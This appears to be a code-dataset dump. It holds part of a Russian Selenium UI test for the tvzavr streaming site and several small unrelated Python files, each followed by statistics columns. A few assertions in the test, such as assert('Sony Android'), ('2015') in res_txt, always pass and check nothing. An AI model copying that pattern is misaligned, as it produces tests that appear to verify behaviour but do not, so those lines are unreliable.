assert('1. В приложении перейти в раздел «Профиль»') in res_txt
assert('2. Ввести логин и пароль') in res_txt
assert('3. Если нет учетной записи, то нужно нажать «Регистрация»') in res_txt
assert('Теперь все Ваши покупки и подписки доступны на Smart TV!') in res_txt
self.page.loger('Содержание инструкции Samsung Orsay TV подтверждено')
time.sleep(1)
self.driver.find_element_by_xpath('.//button[@class="modal__close"]').click() # Клик крестик на инструкции
time.sleep(2)
# Инструкция Sony Android TV
self.page.loger('Шаг 9. Проверка инструкции Sony Android TV')
self.driver.find_element_by_xpath('.//button[@data-modal="apps-smart-sony-android-after2015"]').click() # Клик на Sony Android TV
time.sleep(2)
self.page.waitForElementVisible('.//div[@class="modal__content apps-info js-modal-content modal__content_open"]', 10) # Ожидание появления инструкции и проверка её содержания
res_txt = str(self.result.find_link("div", "modal__content apps-info js-modal-content modal__content_open"))
assert('Sony Android'), ('2015') in res_txt
assert('Инструкция по установке приложения') in res_txt
assert('1. Открыть Google Play и в поиске написать «tvzavr»') in res_txt
assert('2. Открыть приложение и нажать «Установить»') in res_txt
assert('Теперь приложение находится в нижнем меню') in res_txt
assert('Как авторизоваться') in res_txt
assert('1. В приложении перейти в раздел «Профиль»') in res_txt
assert('2. Ввести логин и пароль') in res_txt
assert('3. Если нет учетной записи, то нужно нажать «Регистрация»') in res_txt
assert('Теперь все Ваши покупки и подписки доступны на Smart TV!') in res_txt
self.page.loger('Содержание инструкции Sony Android TV подтверждено')
time.sleep(1)
self.driver.find_element_by_xpath('.//button[@class="modal__close"]').click() # Клик крестик на инструкции
time.sleep(2)
# Инструкция Sony Linux
self.page.loger('Шаг 10. Проверка инструкции Sony Linux')
self.driver.find_element_by_xpath('.//button[@data-modal="apps-smart-sony-linux-after2013"]').click() # Клик на Sony Linux
time.sleep(2)
self.page.waitForElementVisible('.//div[@class="modal__content apps-info js-modal-content modal__content_open"]', 10) # Ожидание появления инструкции и проверка её содержания
res_txt = str(self.result.find_link("div", "modal__content apps-info js-modal-content modal__content_open"))
assert('Sony Linux'), ('2013') in res_txt
assert('Как авторизоваться') in res_txt
assert('1. В приложении перейти в раздел «Профиль»') in res_txt
assert('2. Ввести логин и пароль') in res_txt
assert('3. Если нет учетной записи, то нужно нажать «Регистрация»') in res_txt
assert('Теперь все Ваши покупки и подписки доступны на Smart TV!') in res_txt
self.page.loger('Содержание инструкции Sony Linux подтверждено')
time.sleep(1)
self.driver.find_element_by_xpath('.//button[@class="modal__close"]').click() # Клик крестик на инструкции
time.sleep(2)
# Инструкция Panasonic
self.page.loger('Шаг 11. Проверка инструкции Panasonic')
self.driver.find_element_by_xpath('.//button[@data-modal="apps-smart-panasonic"]').click() # Клик на Panasonic
time.sleep(2)
self.page.waitForElementVisible('.//div[@class="modal__content apps-info js-modal-content modal__content_open"]', 10) # Ожидание появления инструкции и проверка её содержания
res_txt = str(self.result.find_link("div", "modal__content apps-info js-modal-content modal__content_open"))
assert('Panasonic') in res_txt
assert('Инструкция по установке приложения') in res_txt
assert('1. Открыть Apps Market и перейти в раздел «Видео»') in res_txt
assert('2. Найти приложение «tvzavr» и нажать «Бесплатно»') in res_txt
assert('Теперь приложение находится в нижнем меню') in res_txt
assert('Как переместить приложение в удобное место') in res_txt
assert('1. В правом верхнем углу нажать кнопку «Настройки»') in res_txt
assert('2. Выбрать «Переместить приложение»') in res_txt
assert('3. Выбрать приложение «tvzavr» и перенести в удобное место') in res_txt
assert('Теперь Вы сможете быстро найти Ваше любимое приложение!') in res_txt
assert('Как авторизоваться') in res_txt
assert('3. Если нет учетной записи, то нужно нажать «Регистрация»') in res_txt
assert('Теперь все Ваши покупки и подписки доступны на Smart TV!') in res_txt
self.page.loger('Содержание инструкции Panasonic подтверждено')
time.sleep(1)
self.driver.find_element_by_xpath('.//button[@class="modal__close"]').click() # Клик крестик на инструкции
time.sleep(2)
# Инструкция Philips
self.page.loger('Шаг 12. Проверка инструкции Philips')
self.driver.find_element_by_xpath('.//button[@data-modal="apps-smart-philips"]').click() # Клик на Panasonic
time.sleep(2)
self.page.waitForElementVisible('.//div[@class="modal__content apps-info js-modal-content modal__content_open"]', 10) # Ожидание появления инструкции и проверка её содержания
res_txt = str(self.result.find_link("div", "modal__content apps-info js-modal-content modal__content_open"))
assert('Philips') in res_txt
assert('Инструкция по установке приложения') in res_txt
assert('1. В поиске ввести «tvzavr»') in res_txt
assert('2. Выбрать приложение и нажать «Добавить»') in res_txt
assert('Теперь приложение находится в нижнем меню') in res_txt
assert('Как переместить приложение в удобное место') in res_txt
assert('1. Выбрать приложение «tvzavr» и нажать «Переместить» (зеленая кнопка)') in res_txt
assert('2. Перенести в удобное место и нажать «ОК»') in res_txt
assert('Теперь Вы сможете быстро найти Ваше любимое приложение!') in res_txt
assert('Как авторизоваться') in res_txt
assert('1. В приложении перейти в раздел «Профиль»') in res_txt
assert('2. Ввести логин и пароль') in res_txt
assert('3. Если нет учетной записи, то нужно нажать «Регистрация»') in res_txt
assert('Теперь все Ваши покупки и подписки доступны на Smart TV!') in res_txt
self.page.loger('Содержание инструкции Philips подтверждено')
time.sleep(1)
self.driver.find_element_by_xpath('.//button[@class="modal__close"]').click() # Клик крестик на инструкции
time.sleep(2)
# Проверка содержания страницы Smart TV
self.page.loger('Шаг 13. Проверка содержания страницы Smart TV')
time.sleep(2)
self.page.waitForElementVisible('.//div[@class="apps-smart__section apps-smart__section_1"]', 10)
res_txt = str(self.result.find_link("div", "apps-smart__section apps-smart__section_1"))
assert('Дома как в кино со Smart TV') in res_txt
assert('Как найти и запустить приложение для Smart TV читай в нашей инструкции.') in res_txt
assert('Фильмы в Full HD и 4K') in res_txt
assert('Картинка всегда стабильна, не требуется ждать загрузку') in res_txt
self.page.waitForElementVisible('.//div[@class="apps-smart__section apps-smart__section_2"]', 10)
res_txt = str(self.result.find_link("div", "apps-smart__section apps-smart__section_2"))
assert('Удобный поиск кино') in res_txt
assert('Показ автоматически продолжается с того момента, где остановился в прошлый раз.') in res_txt
self.page.waitForElementVisible('.//div[@class="apps-smart__cartoons info-block info-block info-block_flip"]', 10)
res_txt = str(self.result.find_link("div", "apps-smart__cartoons info-block info-block info-block_flip"))
assert('Огромный выбор мультфильмов') in res_txt
assert('Включив «Родительский контроль», ребенок может сам выбрать мультфильм по своему возрасту.') in res_txt
self.page.loger('Содержание страницы Smart TV подтверждено')
# Проверка раздела "Мобильные устройства"
self.page.loger('Шаг 14. Проверка содержания страницы "Мобильные устройства"')
self.driver.find_element_by_xpath('.//a[@data-target="apps-mobile"]').click() # Клик на мобильные устройства
time.sleep(2)
self.page.waitForElementVisible('.//div[@class="tvz-tab_content"]', 10)
res_txt = str(self.result.find_link("div", "tvz-tab_content"))
assert('tvzavr для iOS') in res_txt
assert('мы собрали всё самое лучшее в приложении tvzavr.') in res_txt
assert('tvzavr для Android') in res_txt
assert('советские мультфильмы и свежие премьеры западных сериалов – для взрослых и детей.') in res_txt
self.page.loger('Содержание страницы "Мобильные устройства" подтверждено')
time.sleep(2)
self.page.loger('Шаг 15. Проверка ссылок на App Store и Google Play')
time.sleep(1)
# App Store
self.page.loger('1.Проверка перехода в App Store')
self.driver.find_element_by_xpath('.//a[@href="https://itunes.apple.com/ru/app/интернет-кинотеатр-tvzavr-2-0/id1376531508"]').click() # Клик на ссылку App Store
self.driver.switch_to.window(self.driver.window_handles[1]) # Переключение на вторую вкладку
time.sleep(2)
url1 = self.driver.current_url # Получение url
if url1 == 'https://apps.apple.com/ru/app/%D0%B8%D0%BD%D1%82%D0%B5%D1%80%D0%BD%D0%B5%D1%82-%D0%BA%D0%B8%D0%BD%D0%BE%D1%82%D0%B5%D0%B0%D1%82%D1%80-tvzavr-2-0/id1376531508':
self.page.loger('Переход по ссылке в "App Store" подтверждён')
else:
assert(), "Переход в App Store не произведён"
time.sleep(2)
self.driver.close()
time.sleep(1)
self.driver.switch_to.window(self.driver.window_handles[-1])
time.sleep(2)
# Google Play
self.page.loger('2.Проверка перехода в Google Play')
self.driver.find_element_by_xpath('.//a[@href="https://play.google.com/store/apps/details?id=com.tvzavr.app.android"]').click() # Клик на ссылку Google Play
self.driver.switch_to.window(self.driver.window_handles[1]) # Переключение на вторую вкладку
time.sleep(2)
url1 = self.driver.current_url # Получение url
if url1 == 'https://play.google.com/store/apps/details?id=com.tvzavr.app.android':
self.page.loger('Переход в "Google Play" подтверждён')
else:
assert(), "Переход в Google Play не произведён"
time.sleep(2)
self.driver.close()
time.sleep(1)
self.driver.switch_to.window(self.driver.window_handles[-1])
time.sleep(2)
# Проверка вкладки "Медиаплееры"
self.page.loger('Шаг 16. Проверка вкладки "Медиаплееры" и переход на сайты медиаплееров')
self.driver.find_element_by_xpath('.//a[@href="/apps/mediaplayer"]').click() # Клик на вкладку Медиаплееры
time.sleep(2)
# # Dune
self.page.loger('1.Проверка перехода на сайт медиаплеера Dune')
self.driver.find_element_by_xpath('.//a[@href="http://www.dune.ru/"]').click() # Клик на Dune HD
time.sleep(2)
self.driver.switch_to.window(self.driver.window_handles[1]) # Переключение на вторую вкладку
time.sleep(2)
url1 = self.driver.current_url # Получение url
if url1 == 'http://www.dune.ru/':
self.page.loger('Переход на сайт медиаплеера Dune подтверждён')
else:
assert(), "Переход на сайт медиаплеера Dune не произведён"
time.sleep(2)
self.driver.close()
time.sleep(1)
self.driver.switch_to.window(self.driver.window_handles[-1])
time.sleep(2)
# Rombica
self.page.loger('2.Проверка перехода на сайт медиаплеера Rombica')
self.driver.find_element_by_xpath('.//a[@href="http://rombica.ru/catalog/smart-tv/"]').click() # Клик на Rombica
time.sleep(4)
self.driver.switch_to.window(self.driver.window_handles[1]) # Переключение на вторую вкладку
time.sleep(3)
url1 = self.driver.current_url # Получение url
if url1 == 'http://rombica.ru/category_product/player/':
self.page.loger('Переход на сайт медиаплеера Rombica подтверждён')
else:
assert(), "Переход на сайт медиаплеера Rombica не произведён"
time.sleep(2)
self.driver.close()
time.sleep(1)
self.driver.switch_to.window(self.driver.window_handles[-1])
time.sleep(2)
# Eltex
self.page.loger('3.Проверка перехода на сайт медиаплеера Eltex')
self.driver.find_element_by_xpath('.//a[@href="http://eltex.nsk.ru/"]').click() # Клик на Eltex
time.sleep(2)
self.driver.switch_to.window(self.driver.window_handles[1]) # Переключение на вторую вкладку
time.sleep(2)
url1 = self.driver.current_url # Получение url
if url1 == 'https://eltex-co.ru/':
self.page.loger('Переход на сайт медиаплеера Eltex подтверждён')
else:
assert(), "Переход на сайт медиаплеера Eltex не произведён"
time.sleep(2)
self.driver.close()
time.sleep(1)
self.driver.switch_to.window(self.driver.window_handles[-1])
time.sleep(2)
self.driver.find_element_by_xpath('.//a[@data-target="apps-smart"]').click()
time.sleep(2)
self.driver.quit()
| 52.440722
| 178
| 0.718976
| 3,092
| 20,347
| 4.641332
| 0.104463
| 0.053515
| 0.06355
| 0.097554
| 0.790886
| 0.763292
| 0.742945
| 0.711867
| 0.686433
| 0.662881
| 0
| 0.017878
| 0.158795
| 20,347
| 387
| 179
| 52.576227
| 0.814151
| 0.075883
| 0
| 0.575658
| 0
| 0.013158
| 0.513604
| 0.079279
| 0
| 0
| 0
| 0
| 0.391447
| 1
| 0.003289
| false
| 0
| 0.003289
| 0
| 0.006579
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 1
| 1
| 1
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 4
|
2b5f523f3ba445bc4c9832d6a5f2605ab9b1464f
| 1,109
|
py
|
Python
|
src/common/models/cognito_user.py
|
benny568/cloudca
|
6d3e3ec0cf71defac07cf1b0f957885f2e83599c
|
[
"MIT"
] | null | null | null |
src/common/models/cognito_user.py
|
benny568/cloudca
|
6d3e3ec0cf71defac07cf1b0f957885f2e83599c
|
[
"MIT"
] | 10
|
2022-02-11T15:28:20.000Z
|
2022-03-30T15:44:32.000Z
|
src/common/models/cognito_user.py
|
benny568/cloudca
|
6d3e3ec0cf71defac07cf1b0f957885f2e83599c
|
[
"MIT"
] | null | null | null |
from typing import Optional
import attrs
@attrs.define(slots=True)
class CognitoMember:
"""Standard class of a Member stored in AWS Cognito.
This class initializes the standard attributes that a Member should have.
"""
# Standard attributes given to every member by Cognito.
# Related AWS Documentation:
# https://docs.aws.amazon.com/cognito/latest/developerguide/user-pool-settings-attributes.html
address: str = attrs.field()
birthdate: str = attrs.field()
email: str = attrs.field()
family_name: str = attrs.field()
gender: str = attrs.field()
given_name: str = attrs.field()
locale: str = attrs.field()
preferred_username: str = attrs.field()
middle_name: Optional[str] = attrs.field(default=None)
name: Optional[str] = attrs.field(default=None)
nick_name: Optional[str] = attrs.field(default=None)
phone_number: Optional[str] = attrs.field(default=None)
picture: Optional[str] = attrs.field(default=None)
profile: Optional[str] = attrs.field(default=None)
updated_at: Optional[int] = attrs.field(default=None)
| 36.966667
| 104
| 0.704238
| 144
| 1,109
| 5.375
| 0.4375
| 0.193798
| 0.235142
| 0.189922
| 0.263566
| 0.263566
| 0.139535
| 0
| 0
| 0
| 0
| 0
| 0.179441
| 1,109
| 29
| 105
| 38.241379
| 0.850549
| 0.274121
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 0.105263
| 0
| 0.947368
| 0
| 0
| 0
| 0
| null | 0
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 1
| 0
|
0
| 4
|
99313b528ed33e1324286f2d273ed382777dc6d0
| 100
|
py
|
Python
|
hott/hott_overlays/apps.py
|
ShannonTully/block-is-hott
|
7a03b7a65671f9a4df7e0b6f4a7281b6a65be820
|
[
"MIT"
] | null | null | null |
hott/hott_overlays/apps.py
|
ShannonTully/block-is-hott
|
7a03b7a65671f9a4df7e0b6f4a7281b6a65be820
|
[
"MIT"
] | null | null | null |
hott/hott_overlays/apps.py
|
ShannonTully/block-is-hott
|
7a03b7a65671f9a4df7e0b6f4a7281b6a65be820
|
[
"MIT"
] | 4
|
2018-05-21T17:42:13.000Z
|
2018-05-22T00:39:26.000Z
|
from django.apps import AppConfig
class HottOverlaysConfig(AppConfig):
name = 'hott_overlays'
| 16.666667
| 36
| 0.78
| 11
| 100
| 7
| 0.909091
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.15
| 100
| 5
| 37
| 20
| 0.905882
| 0
| 0
| 0
| 0
| 0
| 0.13
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0.333333
| 0
| 1
| 0
| 1
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
|
0
| 4
|
99452b6b2f19ed0964eab527f19aed101482a678
| 132
|
py
|
Python
|
printer.py
|
SpangleLabs/SewooPrint
|
c7961524b6a93cca4b78079d8b7fadfbf41d5fad
|
[
"MIT"
] | 2
|
2017-11-22T15:34:13.000Z
|
2019-12-22T02:14:15.000Z
|
printer.py
|
SpangleLabs/SewooPrint
|
c7961524b6a93cca4b78079d8b7fadfbf41d5fad
|
[
"MIT"
] | null | null | null |
printer.py
|
SpangleLabs/SewooPrint
|
c7961524b6a93cca4b78079d8b7fadfbf41d5fad
|
[
"MIT"
] | null | null | null |
from abc import ABC, abstractmethod
class Printer(ABC):
@abstractmethod
def print_document(self, document):
pass
| 14.666667
| 39
| 0.69697
| 15
| 132
| 6.066667
| 0.733333
| 0.373626
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.234848
| 132
| 8
| 40
| 16.5
| 0.90099
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.2
| false
| 0.2
| 0.2
| 0
| 0.6
| 0.2
| 1
| 0
| 0
| null | 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
|
0
| 4
|
99498b4b35b89206cff26e8e26be25e321a945dd
| 188
|
py
|
Python
|
complex_colormap/__init__.py
|
endolith/complex_colormap
|
b07ea2f575ba22ea4304e2e173c693399d0529f8
|
[
"MIT"
] | 25
|
2017-12-16T16:34:12.000Z
|
2022-02-22T14:52:51.000Z
|
complex_colormap/__init__.py
|
endolith/complex_colormap
|
b07ea2f575ba22ea4304e2e173c693399d0529f8
|
[
"MIT"
] | 16
|
2017-12-16T15:09:11.000Z
|
2020-08-03T15:11:19.000Z
|
complex_colormap/__init__.py
|
endolith/complex_colormap
|
b07ea2f575ba22ea4304e2e173c693399d0529f8
|
[
"MIT"
] | 3
|
2017-12-19T19:37:17.000Z
|
2020-09-21T18:40:16.000Z
|
# -*- coding: utf-8 -*-
#
from __future__ import print_function
from .__about__ import (
__version__,
__website__,
)
from . import cplot
from . import generation
| 15.666667
| 37
| 0.638298
| 19
| 188
| 5.421053
| 0.684211
| 0.194175
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.007299
| 0.271277
| 188
| 11
| 38
| 17.090909
| 0.744526
| 0.111702
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 0.571429
| 0
| 0.571429
| 0.142857
| 1
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 1
| 0
|
0
| 4
|
994df5009157101234e6a9e6b613214be0fa026a
| 178
|
py
|
Python
|
yamlpal/tests/test_insert_negative.py
|
jorisroovers/yamlpal
|
804a41f425178f5c1f239d246ef3d23416a4531e
|
[
"MIT"
] | 12
|
2016-01-07T16:14:53.000Z
|
2021-12-10T15:04:19.000Z
|
yamlpal/tests/test_insert_negative.py
|
jorisroovers/yamlpal
|
804a41f425178f5c1f239d246ef3d23416a4531e
|
[
"MIT"
] | 7
|
2016-08-15T16:30:39.000Z
|
2021-03-25T21:27:54.000Z
|
yamlpal/tests/test_insert_negative.py
|
jorisroovers/yamlpal
|
804a41f425178f5c1f239d246ef3d23416a4531e
|
[
"MIT"
] | 6
|
2016-01-07T16:29:23.000Z
|
2019-11-01T12:13:00.000Z
|
from yamlpal.tests.base import BaseTestCase
from click.testing import CliRunner
class InsertionNegativeTests(BaseTestCase):
def setUp(self):
self.cli = CliRunner()
| 22.25
| 43
| 0.764045
| 20
| 178
| 6.8
| 0.75
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.162921
| 178
| 7
| 44
| 25.428571
| 0.912752
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.2
| false
| 0
| 0.4
| 0
| 0.8
| 0
| 1
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
|
0
| 4
|
995606b8d10b3a836a31ff16b7f1e9d20d51aca2
| 107
|
py
|
Python
|
templates/template.py
|
km19809/BOJ-CLI
|
f4337ee1073a27d914939548c7028975563642e6
|
[
"MIT"
] | null | null | null |
templates/template.py
|
km19809/BOJ-CLI
|
f4337ee1073a27d914939548c7028975563642e6
|
[
"MIT"
] | null | null | null |
templates/template.py
|
km19809/BOJ-CLI
|
f4337ee1073a27d914939548c7028975563642e6
|
[
"MIT"
] | null | null | null |
# BOJ 1000 Python3
# 출처: https://www.acmicpc.net/help/language
a, b = map(int, input().split())
print(a+b)
| 26.75
| 44
| 0.663551
| 19
| 107
| 3.736842
| 0.894737
| 0.056338
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.053191
| 0.121495
| 107
| 4
| 45
| 26.75
| 0.702128
| 0.542056
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 0
| 0
| 0
| 0.5
| 1
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 1
|
0
| 4
|
99ac787aef1ea7cf5716a4e3ac7d98285813647d
| 95
|
py
|
Python
|
alsa/__main__.py
|
nialov/ALSA
|
65204bb43bba03daf600de9ed4825c4602ea73af
|
[
"MIT"
] | null | null | null |
alsa/__main__.py
|
nialov/ALSA
|
65204bb43bba03daf600de9ed4825c4602ea73af
|
[
"MIT"
] | null | null | null |
alsa/__main__.py
|
nialov/ALSA
|
65204bb43bba03daf600de9ed4825c4602ea73af
|
[
"MIT"
] | null | null | null |
"""
Module (-m) entrypoint.
"""
from alsa import cli
if __name__ == "__main__":
cli.APP()
| 11.875
| 26
| 0.610526
| 12
| 95
| 4.166667
| 0.916667
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.2
| 95
| 7
| 27
| 13.571429
| 0.657895
| 0.242105
| 0
| 0
| 0
| 0
| 0.125
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 0.333333
| 0
| 0.333333
| 0
| 1
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 0
| 0
|
0
| 4
|
41de4533c1aacd7d6ac731df9b7a0c7090f21906
| 37
|
py
|
Python
|
foiamachine/local/lib/python2.7/encodings/cp950.py
|
dwillis/foiamachine
|
26d3b02870227696cdaab639c39d47b2a7a42ae5
|
[
"Unlicense",
"MIT"
] | 3
|
2021-08-07T04:01:55.000Z
|
2021-08-07T05:12:11.000Z
|
foiamachine/local/lib/python2.7/encodings/cp950.py
|
dwillis/foiamachine
|
26d3b02870227696cdaab639c39d47b2a7a42ae5
|
[
"Unlicense",
"MIT"
] | null | null | null |
foiamachine/local/lib/python2.7/encodings/cp950.py
|
dwillis/foiamachine
|
26d3b02870227696cdaab639c39d47b2a7a42ae5
|
[
"Unlicense",
"MIT"
] | 1
|
2021-08-05T22:51:14.000Z
|
2021-08-05T22:51:14.000Z
|
/usr/lib/python2.7/encodings/cp950.py
| 37
| 37
| 0.810811
| 7
| 37
| 4.285714
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.135135
| 0
| 37
| 1
| 37
| 37
| 0.675676
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | null | 0
| 0
| null | null | 0
| 1
| 1
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 4
|
41f61e01c97f2f7a220fb1381be6632b14d53399
| 312
|
py
|
Python
|
src/AkamaiLibrary/pragmas.py
|
ynohat/robotframework-akamai
|
544f4890fb4459a695d7995380f928e90e28eb50
|
[
"MIT"
] | 2
|
2020-06-15T13:41:06.000Z
|
2020-06-15T13:44:47.000Z
|
src/AkamaiLibrary/pragmas.py
|
ynohat/robotframework-akamai
|
544f4890fb4459a695d7995380f928e90e28eb50
|
[
"MIT"
] | null | null | null |
src/AkamaiLibrary/pragmas.py
|
ynohat/robotframework-akamai
|
544f4890fb4459a695d7995380f928e90e28eb50
|
[
"MIT"
] | null | null | null |
DEFAULT_PRAGMAS = (
"akamai-x-get-request-id",
"akamai-x-get-cache-key",
"akamai-x-get-true-cache-key",
"akamai-x-get-extracted-values",
"akamai-x-cache-on",
"akamai-x-cache-remote-on",
"akamai-x-check-cacheable",
"akamai-x-get-ssl-client-session-id",
"akamai-x-serial-no",
)
| 26
| 41
| 0.63141
| 47
| 312
| 4.170213
| 0.446809
| 0.321429
| 0.255102
| 0.153061
| 0.183673
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.157051
| 312
| 11
| 42
| 28.363636
| 0.745247
| 0
| 0
| 0
| 0
| 0
| 0.698718
| 0.586538
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 1
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 4
|
514de74e9793d051c84742243311728dfc7f8698
| 79
|
py
|
Python
|
grocery_api/schemas/item.py
|
paxcodes/grocery_api
|
816848075ab3f2d964ff1423f9cd663a9d166b32
|
[
"MIT"
] | 1
|
2021-07-05T12:23:40.000Z
|
2021-07-05T12:23:40.000Z
|
grocery_api/schemas/item.py
|
paxcodes/grocery_api
|
816848075ab3f2d964ff1423f9cd663a9d166b32
|
[
"MIT"
] | null | null | null |
grocery_api/schemas/item.py
|
paxcodes/grocery_api
|
816848075ab3f2d964ff1423f9cd663a9d166b32
|
[
"MIT"
] | null | null | null |
class Item:
# Properties: name, price, is_active, tags (optional)
pass
| 19.75
| 57
| 0.670886
| 10
| 79
| 5.2
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.227848
| 79
| 3
| 58
| 26.333333
| 0.852459
| 0.64557
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0.5
| 0
| 0
| 0.5
| 0
| 1
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 1
| 0
| 0
| 0
| 0
|
0
| 4
|
515cf83dd551de362b0b15528bc129e0f432e98c
| 62
|
py
|
Python
|
app/backend/analyzing/instagram/__init__.py
|
admariner/social-media-profiler
|
2001167201fc9602fef3070ee9d31f005978bfe8
|
[
"MIT"
] | 34
|
2020-12-14T15:48:26.000Z
|
2022-02-27T14:24:29.000Z
|
app/backend/analyzing/instagram/__init__.py
|
pandrey2003/social-media-profiler
|
4160e318997d161d63b8233511a65669542da026
|
[
"MIT"
] | 1
|
2021-12-15T02:37:32.000Z
|
2021-12-15T02:37:32.000Z
|
app/backend/analyzing/instagram/__init__.py
|
admariner/social-media-profiler
|
2001167201fc9602fef3070ee9d31f005978bfe8
|
[
"MIT"
] | 6
|
2021-02-11T16:29:04.000Z
|
2022-03-23T11:42:32.000Z
|
# -*- coding: utf-8 -*-
"""The Instagram analyzing module."""
| 20.666667
| 37
| 0.596774
| 7
| 62
| 5.285714
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.018868
| 0.145161
| 62
| 2
| 38
| 31
| 0.679245
| 0.870968
| 0
| null | 0
| null | 0
| 0
| null | 0
| 0
| 0
| null | 1
| null | true
| 0
| 0
| null | null | null | 1
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
|
0
| 4
|
5a902a005d26ec9900d39510c55a1b0fd1c47f12
| 48
|
py
|
Python
|
main.py
|
mipsmonsta/EnhancedPasswordManager
|
bf944918ffae4c2a0adc1d5c82060a38dbde3833
|
[
"MIT"
] | 1
|
2021-03-17T10:45:31.000Z
|
2021-03-17T10:45:31.000Z
|
main.py
|
mipsmonsta/EnhancedPasswordManager
|
bf944918ffae4c2a0adc1d5c82060a38dbde3833
|
[
"MIT"
] | null | null | null |
main.py
|
mipsmonsta/EnhancedPasswordManager
|
bf944918ffae4c2a0adc1d5c82060a38dbde3833
|
[
"MIT"
] | null | null | null |
from ui import MainWindow
window = MainWindow()
| 16
| 25
| 0.791667
| 6
| 48
| 6.333333
| 0.833333
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.145833
| 48
| 3
| 26
| 16
| 0.926829
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0.5
| 0
| 0.5
| 0
| 1
| 1
| 0
| null | 0
| 0
| 0
